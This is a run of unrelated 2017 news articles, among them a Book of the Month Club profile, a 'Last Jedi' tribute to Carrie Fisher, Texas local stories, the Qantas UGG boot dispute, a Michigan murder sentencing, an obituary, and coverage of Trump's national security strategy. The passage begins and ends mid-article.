That may sound ho-hum. But this is not your grandpa's mail-order book club; it's your college-age daughter's subscription box service. It's webby. It's social. And it's aimed at readers who love opening cosmetics from PopSugar Must Have. In keeping with that demographic, Instagram is central to BOTM's marketing plan. More than 300,000 followers engage with the company's cozy photos of new titles. A recent post shows Alice Hoffman's "The Rules of Magic" next to a pygmy hedgehog in a coffee mug because who can resist that?

Lippman describes his approach as the opposite of Amazon's. (Amazon founder and CEO Jeffrey P. Bezos owns The Washington Post.) Instead of trying to be the everything store for every possible customer, the new BOTM goes narrow and delineates a specific demographic: millennial women. Admittedly, this is not a radical idea in bookselling. As far back as 1900, an editor at Harper and Brothers noted that "feminine readers ... control the destinies of so many novels."

What is radical, though, is BOTM's willingness to publicly define itself for "feminine readers." The club's first television ad, released last month, shows several women who seem to be talking about their periods. In the final shot, a young woman standing in front of her apartment leans toward her date and whispers, "I'd invite you up, but I just got . . . my book of the month."

"We have a particular audience," Lippman says, "women in their 20s and 30s. We spend a lot of time and effort looking for great finds that they'll love."

So far, the results are encouraging. With about 40 full-time employees, BOTM has more than 100,000members and expects to bring in more than $10 million in revenue this year.

"A lot of it has to do with our team of people," Lippman says, "many of whom are younger than me, and many of them are women." The BOTM editorial group works with publishers to identify potential offerings months before publication. The selections are about 80 percent fiction; the rest are memoirs, narrative nonfiction, some true-crime. Most of the books are written by women. Bloggers, journalists and celebrity guest judges, such as Gabrielle Union and Roxane Gay, sometimes make selections. And the club constantly gathers feedback from existing members. Human judgment seems in no danger of being ruled out by algorithms - yet.

"There are some books in the literary tradition that are very harsh and angry, and they have an important role in the culture," Lippman says. "But the tone that our members like is emotional, warmhearted. Our members are looking for uplifting stories, inspirational stories. They love stories about people who persevere against challenges in their lives, versus books that offer harsh comments on the state of the world."

But despite that Oprahesque melody, BOTM has featured many novels that no one would shelve under "Warmhearted." In September, for instance, the club offered Jesmyn Ward's "Sing, Unburied, Sing," a devastating story about racism, addiction and the modern legacy of slavery. In October, members could choose Naomi Alderman's "The Power," a ferocious novel that imagines women can electrocute people with their hands. Both books went on to win wide critical acclaim.

Lippman also isn't interested in pushing only best-sellers, even though they have a more predictable audience. "We put a particular focus on debut and emerging authors," he says, noting that three quarters of their titles fall into the category of "lesser-known" writers. "I felt that was what was missing in today's bookselling ecosystem. What I think Book of the Month has done for 90-plus years - and is as important as it's ever been - is to support great and highly talented books and authors that people love and help them connect. It's not about having a small impact on a huge number of books. It's about having a huge impact on the limited number of books we sell."

That idealistic devotion to new voices has its limits, though. A recent email solicitation from BOTM promising "The best books you've never heard of" featured books by Hollywood celebrities Tom Hanks and Krysten Ritter, bestsellers Alice Hoffman and Andy Weir, and the National Book Award-winning novelist Louise Erdrich. Not exactly discoveries from some dark hamlet deep in the literary forest.

But Lippman cites BOTM's recent success with "Beasts of Extraordinary Circumstance," by an unknown debut novelist named Ruth Emmie Lang. "We identified it early on as a warm, whimsical book that we thought would work well with our members," Lippman says. The official publication date was Nov. 14, but BOTM made arrangements with St. Martin's to sell the novel in October. That decision paid off: BOTM sold 15,000 copies of "Beasts," more than were sold by all other booksellers in the country combined.

When you consider the usual terms of this business, Lippman's strategy looks even riskier: BOTM isn't offering books that can be returned to publishers if they don't sell. The company prints its own proprietary editions with subtly branded covers. The text is the same, of course, but a BOTM copy of Jennifer Egan's "Manhattan Beach" or Celeste Ng's "Little Fires Everywhere" looks just a little classier than the one you can buy from Amazon or your local indie. (For one thing, there are no blurbs screaming on the dust jackets.) Lippman says customers appreciate those special editions, but if his staff misjudges demand for a certain title, he could be stuck with thousands of paper doorstops.

Whether BOTM can keep rising will depend on how successfully it anticipates young women's tastes and continues to attract more members in the crowded field of subscription-box book clubs. More than 100 currently compete for readers in every imaginable genre - from mysteries and inspiration to history and witchcraft. (Taking a page from Harry Scherman's original scheme, some of these services offer books with chocolates.) And many indie bookstores across the country provide their own monthly selections specifically tailored to each customer's interests.

Still, BOTM has found a devoted group of intensely literate consumers. Even if the company never attains its former glory in the realm of American publishing, the old bookseller has learned how to dance to a new tune.
(EDITORS: Contains spoilers.)

---

If the moment does not move you, you've got a heart as cold as planet Hoth.

Whether you love or hate "The Last Jedi," it's near impossible not to experience a jolt when reality crashes into fantasy as we witness the near-death of Leia Organa, as portrayed through the most affecting "Star Wars" performance Carrie Fisher ever delivered.

Next week will mark the first anniversary of Fisher's death from cardiac arrest, at age 60, after a flight home to Los Angeles. It is a testament to how beloved Fisher was, as performer and writer and raconteur, that her sudden passing still feels so unreal to many fans, and that she still feels so very much with us. Who within the "Star Wars" family, or fandom, did not love Carrie?

Now, the long shadow of her passing hovers over "The Last Jedi." When we see Leia critically injured in the film's first reel, blasted by the First Order immediately after her Dark Side son Kylo Ren (Adam Driver) refuses to shoot her and the bridge of her command ship, we are momentarily thunderstruck.

Are we about to mourn the character who is so inextricably linked to the actress we are still mourning?

What follows that strike is an effect that has proved divisive among viewers: Leia, who up till now in the franchise has never fully revealed her Force powers, is floating in frigid space - as if nodding to frozen Superman - before creating a Force-bubble and floating her way toward a Resistance ship. (Did your audience cheer, weep, gasp or laugh when her pointed hand moved? My audiences let out a range of such reactions.)

Director Rian Johnson has said that Lucasfilm president Kathleen Kennedy was persuasive in suggesting that this was an ideal moment for Leia to reveal her Force powers, especially because Luke had previously mentioned her Force potential as a twin Skywalker herself. And so, the director has said, Leia saving herself became akin to a person finding previously untapped superhuman strength to hoist a car to save a life.

Leia goes into a coma, and we are brought back to a year ago, when Fisher held on before succumbing, after four days of fan thoughts and prayers and heartfelt hashtags on social media.

Then in the film, when the Resistance needs her most, Leia returns like Lazarus, her cooler (bandaged) head prevailing after hotly wired pilot Poe Dameron (Oscar Isaac) has scrambled to try to save the dwindling forces and even staged a mutiny.

The close-ups of Leia while she's in a coma, and then when she returns to the bridge, are so moving that we half-wonder whether the writer-director altered any of the story after Fisher's death. The filmmakers have insisted that Johnson did not. Fisher had completed filming shortly before her death, and the eerie scenes are said to be just a function of coincidence.

Later in the film, Leia and Vice Admiral Holdo (Laura Dern) share a touching farewell scene when Holdo stays behind as the Resistance escapes to planet Crait. And Leia ultimately gets a powerful reunion scene of sorts with her long reclusive sibling Luke (Mark Hamill), as the characters' joint theme song swells.

Lucasfilm had planned for the next episode, J.J. Abrams's 2019 release, to be "Leia's film." But through the power of visual and story and performance, Episode VIII will stand largely as Leia's film - and Fisher's.

"She was amazing ... ," "Last Jedi" cinematographer Steve Yedlin says of working with Fisher. "She is such an expressive person, as much off camera as on. She's a pleasure to light and to interact with."

So what was his secret to creating such an emotionally moving luminosity around Fisher's Leia? "I just tried," he says simply, "to put that love (of hers) in the light."

Lucasfilm has said that Fisher will not appear in the saga's next episode. And "Last Jedi" producer Ram Bergman says that no CGI creation of Leia was needed for "Last Jedi," adding about Fisher: "We got what we needed from her."

Bergman notes that the bond that Johnson built with Fisher, as he spent long hours at her home, helped elevate Fisher's farewell as Leia.

"They loved each other," says Bergman, adding: "They truly built trust. She felt really safe and confident (that he would) get the best out of her.

"We all adored her."
Prolific San Antonio restaurateur Andrew Weissman has snagged a bit of national attention with his latest venture, Signature, Inspired by Chef Andrew Weissman.

The new restaurant, which opened in the La Cantera Resort & Spa in late 2016, has landed on a list of 20 businesses across the country vying for top honors in the Best New Restaurant category of USA Todays annual 10Best Readers Choice contest. A panel of food and travel writers nominated competitors based on their favorite new spots to open in the past 18 months.
The El Campo, Texas house - with arguably the largest private swimming pool in the state - finally sold after being on and off the market since late 2014. El Campo is more than an hour southwest of Houston.

Situated on nearly 40 acres of land, the 7,312-square-foot home was originally listed at $5 million before being reduced to $3.5 million. According to its public listing, it sold for somewhere between $2.5 and $2.879 million in early November.
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Texas graduates have the world rooting for them this graduation season.

From San Antonio to Austin, a number of winter grads are sharing the inspiring stories behind their degrees on Twitter and Instagram and the Internet is sharing kudos in return.

These are more than the usual graduation Instagram photos. These students shared stories of juggling parenthood with class. Of having parents arrested as children overcoming depression in college. Of having people tell them they wouldn't succeed and then walking across the state.

Many included the hashtag "#GradSZN" in their Twitter and Instagram posts, adding themselves to a trend of success stories from around the country.

RELATED: San Antonio college graduates are picture-perfect on social media

A few of the graduates spoke more in-depth with mySA about their journeys through unexpected pregnancies, deaths and other difficulties that didn't stop them from crossing the stage.

Briana McFadden, known as @brielize_ on Twitter, got the attention of nearly 100,000 people when she posted her graduation photos and testimony.

McFadden found out she was pregnant at 17. She graduated last weekend from UTSA with her masters of science in information technology at 24.

"The things I went through early in life, the mistakes I made, I learned from all of it and it motivated me to achieve and do all I can to allow my daughter to have the best possible life ever," she told mySA.com.

Jessica Reyes, like McFadden, is a recent UTSA graduate and young mother and received support of thousands online. With her new, bachelors of science degree under her belt, she's looking forward to Fall 2018, which is when she will begin her graduate career.

"I almost dropped out of school because I had given up on myself," she said. "But my junior year, I took control of my life and refused to be victim of my circumstances. I would not be another statistic that fed into the stigma against young mothers."

Celebrate with these Texas students, and others, in the gallery above.

And, hats off to all of those crossing the stage this graduation season  viral or not.

Madalyn Mendoza is a digital reporter for MySA.com. Read more of her stories here.| mmendoza@mysa.com | Twitter: @MaddySkye
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The vision for an outer loop that runs through Webb County, concentric to Loop 20, was first discussed in the 1990s, before the current loop was even constructed.

Two studies have been conducted for the road since, most recently in 2005, but the outer loop project has remained sidelined while the Texas Department of Transportation, the city and the county spend resources upgrading Loop 20.

On Monday, however, TxDOT reinvigorated the project in its presentation to the Metropolitan Planning Organization, and suggested continuing its study of the proposed road path and developing a schematic. The MPO asked to have this topic on the agenda for all future monthly meetings.

READ MORE: UISD educator arrested for producing child porn was 16-year-old victim's former teacher, records state

Alberto Ramirez, TxDOT director of Transportation Planning and Development, said they could not just adopt their 2005 study without revisiting it. If there is a new gas well at a certain point along the proposed road, for instance, that would be a major issue.

He suggested doing another study to verify the road's proposed alignment, then seeking public involvement going forward.

"It would be wise for us to look at it once more," Ramirez said.

Webb County Judge Tano Tijerina asked what the cost of the two past studies were, which no one could answer, and expressed that he didn't want to pay for a third if the project was going to get sidelined for another number of years. He suggested getting started soon.

Laredo Mayor Pete Saenz agreed. And Councilman Charlie San Miguel asked if the city's Building Department could work on a corridor preservation ordinance, which would prevent new construction along this route.

RELATED: New Loop 20 overpass in Laredo opens to the public

But since the road is outside Laredo's city limits as well as it extraterritorial jurisdiction, the city doesn't have any authority in this area, Laredo's Planning Director and MPO Director Nathan Bratton said.

Melisa Montemayor, TxDOT Laredo district administrator, said TxDOT can take over the new study and continue what they've already done for the outer loop project.

Back in the day, Montemayor said, Kansas City Southern Railway was also looking at an outer loop alignment for similar purposes, unbeknownst to TxDOT. When they found out, the two groups got together and discovered that their proposed paths were very similar.

They had conversations that this road could be a utilities corridor, Montemayor said. And today TxDOT thinks the outer loop could be designed as a future interstate to be proactive about future growth, she said.

TxDOT still feels comfortable with this alignment, Montemayor said.

READ MORE: Retail giant with Laredo location may close dozens of stores

TxDOT engineer Roberto Rodriguez, who led the presentation on Monday, said the road would connect to Highway 255 in the north, and loop to a possible fifth bridge site south of Laredo. In 2006, the construction estimate for the outer loop was $441 million.

The MPO is made up of TxDOT officials, three members of City Council, the mayor, the county judge, and a couple of county commissioners. They meet every third Monday of the month to discuss transportation projects in Laredo and Webb County.

Julia Wallace may be reached at 956-728-2543 or jwallace@lmtonline.com
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A British pop star has sparked a debate around whether UGG boots are sleepwear.

Joanne Catherall, a vocalist from the band the Human League, shared on Twitter on Dec. 13 that she was denied entry to the Qantas Airlines business-class lounge at the Melbourne Airport because she was wearing the Australian sheepskin-lined boots.

"UGG (Australia) Boots are deemed sleepwear by the lady working there although no problem in any of the other lounges so far," Catherall tweeted. "Helpfully she suggested I go to one of the shops & purchase some shoes."

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Qantas responded on Twitter with the statement: "Hi Joanne, we endeavour to remain consistent and uphold our Lounge's dress guidelines to all our guests. You may find details here: http://bit.ly/1TKrgMP."

Qantas specifically calls out UGG boots and identifies them as sleepwear in the domestic lounge dress guidelines that also deem thongs, bare feet, head-to-toe gym wear, and torn clothing inappropriate.

Catherall posted a followup tweet questioning the guidelines: "Why would an @UGG boot I wear outdoors in all weathers be classed as sleepwear in @Qantas lounge but nowhere else that I have ever been on this earth?"

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In the comments, many defended Catherall and criticized Qantas for enforcing a dress code.

"Why does it even matter to Qantas what people wear?" tweeted @isaaclibby. "Hilarious that somehow Uggs are sleepwear. What a joke company. Will avoid."

"I'm sorry but @Qantas this is pure snobbery," chimed in @bettycarlyle. "I always wear Ugg boots to travel in as they r so comfy & ive never not been allowed in a Lounge in America, Europe or the UK."

"Oh my goodness when would [you] go [to] bed in a pair of Ugg boots???" tweeted Michelle Teale.

UGG Boots have been around in Australia since the 1960s and were adopted by surfers in the United States in the 1970s. Today, many love them because they're warm and comfortable, but some also find the boots unattractive and overly casual.

A commenter shared in response to a Fox News story covering the issue, "Good - [UGGs] are like flip-flops, fine for the beach or coming out of a shower but in public, uh no (ok, flip flops are fine for 8 year old girls or 3 year old boys) but after that, get some real shoes."
Morris Malakoff.

Come on out for some holiday fun to see the family-friendly movie Minions, sponsored by Texas Children's Hospital in conjunction with the Levy Park Conservancy, on Dec. 29 at 6 p.m. Minions is the hit 2015 film about three Minions (Kevin, Stuart and Bob) recruited by supervillain Charlotte Overkill and her inventor husband Herb to help in her plot to take over the world.

The event is free and will be presented on the Pavilion Stage. Levy Park, located at 3801 Eastside St., welcomes you to use the park furniture or bring a blanket, but no outside furniture is allowed. The Texas Children's Hospital-sponsored Movie Night is on the last Friday of each month.
The Fort Bend County Fair is giving back through its scholarship program and now is the time to apply.

The opportunity to earn a fair scholarship is open to a range of qualifying students. The fair will provide $4,000 scholarships to 45 Fort Bend County students. Since 1979, the Fort Bend County Fair has given 823 scholarships to county youth. The deadline to submit a scholarship application is Friday, Jan. 26, 2018.

Texas A&M freshman, Courtney Ramirez, is enjoying her first year away at college. She was a recipient just last year of a fair scholarship. The new Aggie is thrilled with the financial boost and said, "things at Texas A&M have been great and very busy especially with finals. I have made many new friends. I joined a Christian sorority on campus and was recently voted in as sorority president for the year of 2018. I think the most challenging thing about college at first was finding my classes on the huge campus and also creating a structured environment for myself. I can't wait to see what next semester has to offer for me!"

The proceeds from the 2017 Fort Bend County Fair and the Fort Bend County Fair Life Membership Fund provide the necessary monies to allocate the scholarships. The scholarships are divided into different divisions depending on the applicants' fair involvement and their field of study.

Applicants, parents, and school counselors are urged to review the guidelines and rules carefully. Students wanting to apply for a fair scholarship must meet certain requirements: They must be a U.S. citizen and a resident of Fort Bend County or zoned to a school in Fort Bend County; be a high school senior and graduate by the spring semester of 2018.

"Get your applications in; this is an extraordinary opportunity for all high school seniors. Last year we had recipients who were lifelong fair participants while others had very limited time; if any at the fair," said Cindy Schmidt, Fort Bend County fair manager.

Selection of the recipient will be based on several qualifications including: scholastic standing, leadership, citizenship, need and fair participation. During the application process, candidates will declare what type of scholarship that they will be applying. Restrictive, Non-Restrictive, Open, Vocational, or Art Scholarships are some of the classifications options that candidates will have to choose.

For more information on the 2018 scholarship rules and application, visit the fair's website: fortbendcountyfair.com or call the fair office at 281-342-6171.
Belgium will become the first nation to send a female ambassador to Saudi Arabia next year, with the government telling public broadcaster VRT that appointing a woman to be its top diplomatic representative in the conservative country will send a "clear signal" about its ideals.

Dominique Mineur, currently the Belgian ambassador to the United Arab Emirates, will move to Riyadh in the summer of 2018 to take over the position there, local media reports.

Saudi Arabia, which follows a conservative form of Islam, is considered to be one of the least gender equal countries on Earth; the country was ranked 138 in the 2017 World Economic Forum's Global Gender Gap report. Though numerous restrictions on women in the country remain, Riyadh has announced some reforms recently, including plans to allow women to acquire driving licenses in 2018.

Saudi Arabia also appointed a spokeswoman to its embassy in the United States this year.

Mineur will be the first female ambassador to be based in Riyadh. In 2010, Georgia appointed a female ambassador to Kuwait who also represented her country in Saudi Arabia, but when an embassy was later opened in Riyadh a male ambassador took over that responsibility.

According to De Morgan newspaper, Mineur's appointment is seen as a response to criticism of Belgium allowing Saudi Arabia to ascend to the United Nations Commission on the Status of Women earlier this year - a move that was widely criticized by human rights advocates. After that vote, Belgium's foreign ministry said it had been surprised by the move and the diplomat who supported the Saudi bid had made a "hasty decision" without proper consultation.

In the past, activists have called for foreign nations to send female ambassadors to Saudi Arabia and other countries where woman's rights were restricted.

"In this way, the Saudi King will be obliged to speak to these ambassadors," Nobel Peace Prize laureate Shirin Ebadi said in 2013. "Similarly, imagine 20 woman ambassadors in front of the Iran President. It will be a beautiful sight. Please help us."

Some experts have expressed doubts, however, that the impact would be any more than symbolic: A number of female diplomats already work in Riyadh and Saudi Arabia is often eager receive high-profile foreign guests and skirt the kingdom's strict rules on attire and other restrictions.

Belgium will also send a female ambassador, Veronique Petit, to Tehran, De Morgan reports. Although Iran itself appointed a female ambassador just two years ago, the country's restrictions on women have made it a complicated place for foreign diplomats to operate. In February, female members of Sweden's government were criticized for wearing headscarves while on a trip to Tehran.

The United States has not sent a female ambassador to either Saudi Arabia or Iran. Studies suggest this is because fewer female ambassadors are appointed, and they tend to be sent to countries less important to U.S. foreign policy.
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California Attorney General Xavier Becerra sued the Trump administration Tuesday for suspending regulations meant to curb emissions of the greenhouse gas methane, the latest front in the states battle with Washington over climate-change rules for the oil and natural gas industries.

The suit, filed in federal court in San Francisco, claims that the U.S. Bureau of Land Management acted irresponsibly this month when it delayed an Obama-era policy capping methane leaks and flaring at oil and gas wells.

Methane, the main component of natural gas, is a potent driver of global warming when it escapes into the atmosphere. The 2016 federal rule called on oil and gas producers on federal and tribal lands, including in Kern County, to upgrade their drilling rigs and procedures to capture the gas and keep it from spewing off.

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The Bureau of Land Managements delay of the rule is the Trump administrations latest bid to undo the methane policy. In May, Congress failed to pass a repeal effort backed by the president. In October, the courts struck down a unilateral attempt by the administration to halt the program, an effort Becerra challenged in July.

Federal officials declined to comment on the lawsuit filed Tuesday. But the administration has called the Methane Waste Reduction Rule burdensome amid Trumps push to ease regulations on businesses. The Bureau of Land Management said Dec. 8 it would postpone implementation of the rule to January 2019 while working to amend it.

While the rule formally took effect in January, most of its provisions hadnt kicked in.

Becerras suit, which he filed along with New Mexico Attorney General Hector Balderas, said the administrations delay was arbitrary and not in the nations best interests. The action, the suit states, not only hastens global warming but contributes to harmful pollution in the Central Valley, where air quality is a significant problem.

By suspending the rule, Becerra said in a statement, the Trump administration is effectively threatening the health of our families and our environment. The California Department of Justice wont stand by and subscribe to this blatant violation of our laws.

Postponement of the rule also deprives states of royalties they would otherwise gain if leaked methane was captured and put to use. Federal data show 462 billion cubic feet of natural gas needlessly escaped from wells nationwide between 2009 and 2016, enough to provide for about 6.2 million households.

The Bureau of Land Management has long leased public lands to private companies for oil and natural gas extraction. California has 7,900 oil and gas wells on federally managed land, 95 percent of them in Kern County, according to the lawsuit. Thats a fraction of the more than 54,400 oil and gas wells active in California, most of which sit on privately owned land.

California air pollution regulators imposed their own regulations to cut methane emissions from oil and gas operations in March, part of the states goal of slashing greenhouse gas emissions 40 percent below 1990 levels by 2030. While these regulations cover oil and gas wells on federal land regardless of what happens in Washington, many provisions wont be enforced until 2019, according to Becerras office.

Much of the discussion about climate change focuses on carbon dioxide, the most common greenhouse gas, but methane plays an important role. Although it breaks down in the atmosphere, it is 84 times more potent at trapping heat over a 20-year period than carbon dioxide.

While its there, it has a much higher impact on the atmosphere, so reducing it now can have a big short-term effect, said Timothy OConnor, who directs the Environmental Defense Funds oil and gas program.

The group has for years sought to cut methane leaks. Though Californias regulations will ultimately apply to wells within the state, OConnor said, the loss of the federal rule will leave Californians contributing to the emissions problem through their import of natural gas. About 90 percent of the states supply is brought in from elsewhere.

The energy we use will be dirtier, and it will open up a discussion on the appropriateness of Californias approach, he said.

Since the Obama administration introduced the federal rule, oil industry groups have complained it isnt needed because companies have been reducing methane leaks, venting and flaring on their own. The Western Energy Alliance sued to block the rule in November 2016 and has welcomed the Trump administrations approach of suspending and reworking it.

It doesnt make sense to make companies comply with a rule thats being substantially rewritten, said Kathleen Sgamma, president of the alliance. According to her organization, methane emissions from oil and gas operations have dropped 19 percent since 1990, though natural gas production has soared 51 percent.

Were not resting on that success story, Sgamma said. Thats all going to continue regardless of what happens with this rule.

Kurtis Alexander and David R. Baker are San Francisco Chronicle staff writers. Email: kalexander@sfchronicle.com, dbaker@sfchronicle.com Twitter: @kurtisalexander, @DavidBakerSF
The Senate Judiciary chairman said Monday he wants Andrew McCabe removed as deputy director of the FBI, a day before he is scheduled to testify behind closed doors to the House Intelligence Committee in its Russia investigation.

"He ought to be replaced. And I've said that before and I've said it to people who can do it," panel Chairman Chuck Grassley, a Republican from Iowa, told reporters.

Grassley has questioned whether McCabe has a conflict of interest and is biased against President Donald Trump. McCabe's wife in 2015 ran for a state Senate seat in Virginia, backed in part with money from associates of Hillary Clinton, Trump's opponent in last year's presidential election.

Such concerns with McCabe have increased among Republicans with the recent release of text messages that many Republicans claimed showed anti-Trump bias by agent Peter Strzok, who was removed from Special Counsel Robert Mueller's team investigating whether Trump's campaign colluded with Russians to help get him elected.

The president has complained on Twitter that his Attorney General Jeff Sessions should have fired McCabe a long time ago.

Rep. Jerrold Nadler of New York, the top Democrat on the House Judiciary Committee, said in a statement Friday that he respects Grassley "but I could not disagree more with his suggest that Mr. McCabe should be removed from his post, as President Trump has repeatedly urged." Nadler said "the president and his supporters in Congress seem intent on trashing the FBI."

Grassley said Trump shouldn't intervene to have McCabe removed and instead leave that up to FBI Director Christopher Wray.

"Trump ought to stay out of it," Grassley said. "I think it's a Christopher Wray job."

FBI spokesman Andrew Ames declined to comment.

House Oversight and Government Reform Chairman Trey Gowdy, a South Carolina Republican, said in an appearance on Fox News last week he'd be "a little surprised" if McCabe still had his job this week.

McCabe's closed-door interview had been arranged after months of efforts by committee Republicans who had been angered over what they said was an inability to get more cooperation from the FBI in turning over material about the investigation. House Intelligence Chairman Devin Nunes of California has suggested preparing contempt of Congress action against the FBI and the Justice Department.

Republicans, who have long wanted to question McCabe over how the FBI used a now-famous dossier about Trump with unverified accusations of collusion, also want to ask about the Strzok text messages.

Grassley and other Republicans have said they want to know what McCabe knows about a particular text message from Strzok in August 2016 -- during the presidential campaign -- talking about a need for some "insurance policy" in the case of a Trump victory. They also want to know what McCabe knows about demoted Justice Department official Bruce Ohr and his wife Nellie Ohr, who was reportedly contracted to help prepare opposition research on Trump.
The murder trial was all but over.

A jury of Jeffrey Willis' peers had determined that he had gunned down Rebekah Bletsch, a 36-year-old jogger he'd encountered on the side of a Michigan road in 2014. Investigators say he was trying to pull her into his van as she tried to fight back.

But before Willis was sent to prison for the remainder of his life, Bletsch's tearful family members had some words for him - a time-honored and highly emotional court moment known as the victim impact statement.

Jessica Josephson told the court about her slain sister's now-motherless child, according to Fox affiliate WXMI. She praised her sibling, saying: "Becky was everything a big sister should be. . . . Becky is so much more than the jogger on the side of the road."

And she railed against Willis, calling him a "monster," and adding that she hoped he would "rot in hell."

Another of Bletsch's sisters said she was "full of hate and anger" toward Willis.

But Willis never heard any of it.

Before the sisters spoke in court, Muskegon County Circuit Judge William Marietti granted Willis' request to skip the victim impact statements, and the sentencing that followed, according to CBS News.

And so, moments before Bletsch's family shuffled to the front of the courtroom, Willis was escorted out of it.

As he left, he turned to his victim's family and blew a kiss.

His stunning act was met with screams of "coward" from the crowd. But the judge had spoken, and there was nothing the family could do.

According to Michigan Live, Willis' attorney said it was the defendant's desire to be absent for his sentencing.

Marietti did not immediately return messages from The Washington Post seeking comment Tuesday. Michigan law gives crime victims the right to make a statement to the court during sentencing, but there's nothing that says a defendant has to listen, attorneys in the case told WXMI.

"You can't make him listen anyway," Willis' attorney, Fred Johnson, said after the sentencing. "If a person is going to be there and cause a disturbance, then you've got a circus. You've got the 'Jerry Springer Show.' "

Prosecutors objected to Willis' request to leave, saying the man was taking the "cowardly" way out. But the judge said it was the defendant's right to not be present.

The family's anger boiled over during and after the hearing. For them, it had been a three-year ordeal. Bletsch was fatally shot in June 2014 in Dalton Township, on the eastern edge of Lake Michigan, according to the Detroit Free Press. But investigators didn't arrest Willis until June 2016, after he was identified in an attempted kidnapping in nearby Fruitland Township.

"This coward should have been here to listen to us," Bletsch's mother, Debra Reamer, said. She had also given a victim impact statement, speaking of the night she learned her daughter had been murdered, then dissolving into tears, unable to continue.

"We deserve a right to tell him exactly how we feel," she said afterward. "For him to walk out on us was just horrible." Josephson, Bletsch's younger sister, said that although she, too, was outraged by the act, she took some satisfaction in knowing Willis would spend the rest of his life in prison.

"The fact that Jeffrey Willis walked out of the courtroom and wouldn't hear any of us, it just goes to show what a coward he really is," Josephson said. "And then he turns around and blew a kiss - that's his kiss of death. I think he's going to enjoy a kiss in prison. I don't think he's going to make it very long in prison. I hope he gets what he deserves."

According to the National Center for Victims of Crime, all states allow victim impact statements at some phase of the sentencing process:

"Victim impact statements may provide information about damage to victims that would otherwise have been unavailable to courts or parole boards.

". . . Victim impact statements are often the victims' only opportunity to participate in the criminal justice process or to confront the offenders who have harmed them. Many victims report that making such statements improves their satisfaction with the criminal justice process and helps them recover from the crime."

Monday's incident may not be the last chance Willis has to get the last word in a court hearing. His attorneys have begun preparing his defense in the case of the 16-year old-girl who says she escaped his kidnapping attempt, according to Michigan Live. And police say he is still a suspect in another woman's disappearance.

---

VIDEO

Murder victim's sister responds to Jeffrey Willis' departure from courtroom

https://youtu.be/cTFp31Pm4xY

Rebekah Bletsch father speaks after Jeffrey Willis walks out of sentencing

https://youtu.be/wDTpqESU2ns
Leslie Wolfe, a longtime advocate for the rights of women and girls, who helped produce studies showing gender-based inequality in education and the workplace, died Nov. 30 at a hospice center in Rockville, Maryland. She was 74.

The cause was complications from dementia, said a former colleague, Karen Schneider.

As president of the Center for Women Policy Studies from 1987 to 2015, Dr. Wolfe was instrumental in drawing attention to a variety of issues, including workplace diversity, reproductive rights, violence toward women and the effects of HIV/AIDS on women. She also helped spotlight the needs of low-income and minority women on a global level.

In 1989, Wolfe was the co-author of an influential study examining gender bias and racial discrimination in the Scholastic Aptitude Tests, the exams widely used in college admissions. The study, which analyzed the performance of 100,000 students, concluded that the SAT was constructed in a biased manner that consistently gave male students higher scores than female students.

Wolfe also determined that test was not an accurate gauge of academic achievement, showing that girls typically received better grades in college than the SAT had predicted.

In a later report from 1997, Wolfe and a co-author found that little had changed since the study eight years earlier. Boys, on average, scored 40 points higher on the SAT, giving them a significant advantage in the awarding of millions of dollars of National Merit Scholarships, based largely on test results.

Researchers from the Educational Testing Service, which developed the SAT, confirmed the gender bias Wolfe had highlighted. But when she sought to find ways to change the tests, she encountered opposition from ETS and the College Board, which administered the SAT to hundreds of thousands of students each year.

The organizations "have become increasingly hostile to the work we've done," Wolfe told The Washington Post in 1997. "The College Board keeps saying the fault is not in the test, the fault is in the girls. We have research from ETS's own researcher that says even within the highest [income] group, there is a gender gap. Within every racial and ethnic group, there is a gender gap. There is something wrong with the test."

Leslie Rosenberg was born Nov. 24, 1943, in Washington and grew up in Montgomery County. Her father worked at the Pentagon, and her mother was a homemaker.

She graduated from the University of Illinois in 1965, received a master's degree from the University of Maryland in 1967 and a doctorate in English from the University of Florida in 1970.

Wolfe worked at the National Welfare Rights Organization before joining the Women's Rights Program of the U.S. Commission on Civil Rights in 1973. She was a special assistant at the old Department of Health, Education and Welfare before becoming director of the federal Women's Educational Equity Act program in 1979. She helped ensure federal compliance with the newly enacted Title IX law, which prohibited gender discrimination by institutions that received federal funding.

In 1983, Wolfe and four other women were dismissed from the federal agency in a "reduction in force," after an anonymous article in Conservative Digest magazine charged that her department was "a network of openly radical feminists." She believed the move to be politically motivated.

Wolfe later directed the Project on Equal Education Rights at the NOW Legal Defense Fund before becoming president of the Center for Women Policy Studies, an advocacy group founded in 1972.

Among other initiatives, Wolfe developed programs to inform female state legislators about women's rights issues and helped launch efforts to educate women around the world and to bring international lawmakers and other officials to Washington for policy discussions.

Wolfe retired in 2015, when the center closed. She lived in Chevy Chase, Maryland.

Her first marriage, to Barry Wolfe, ended in divorce. Her second husband, William Green, died in 1998.

Survivors include a brother.
WASHINGTON - President Donald Trump placed himself at the center of a new national security strategy Monday, casting his election as a pivot from failed policies pushed by his predecessors and presenting his "America First" doctrine as the organizing principle for U.S. engagement around the world.

In a year-end, campaign-style speech, the president emphasized his view that the United States has been cheated and taken advantage of abroad while its citizens were ill-served at home - a situation he said his security plan would seek to reverse.

"For many years, our citizens watched as Washington politicians presided over one disappointment after another; too many of our leaders - so many - who forgot whose voices they were to respect, and whose interest they were supposed to defend," Trump said at the Ronald Reagan Building and International Trade Center, before an audience that included Cabinet secretaries, government workers and uniformed members of the military.

The National Security Strategy, a congressionally-mandated mission statement, is supposed to guide an administration's priorities for global engagement, economic bargaining and demonstrations of military strength.

While it is viewed as an important policy document, its release is usually a low-key affair and Trump is believed to be the only U.S. president to present the plan with a speech, an aide said. At times Monday, Trump seemed as intent on revisiting his electoral victory as he was on defining a new national security strategy for the country.

"You spoke loud and you spoke clear," Trump said of his upset election last year. "On November 8, 2016, you voted to make America great again. You embraced new leadership and very new strategies and also a glorious new hope."

Trump, as he did during the campaign, declared the United States must push for better trade deals to remain strong when it comes to national security. "Economic security is national security," he said. "Economic vitality, growth and prosperity at home is absolutely necessary for American power and influence abroad."

Yet many of the trade tactics he has advocated could end up hurting the U.S. economy.

He boasted of killing the Trans-Pacific Partnership, a trade pact between a dozen countries, but supporters of the accord say it would have helped keep Chinese economic influence at bay.

The linkage Trump drew between economic and political power is valid, but Trump's confrontational trade policies work against his own goals, said Nicholas Burns, a Harvard Kennedy School professor and former State Department official.

"He is right about the philosophical point but all his practical policies undercut it," Burns said.

C. Fred Bergsten, veteran trade expert at the Peterson Institute of International Economics, agreed.

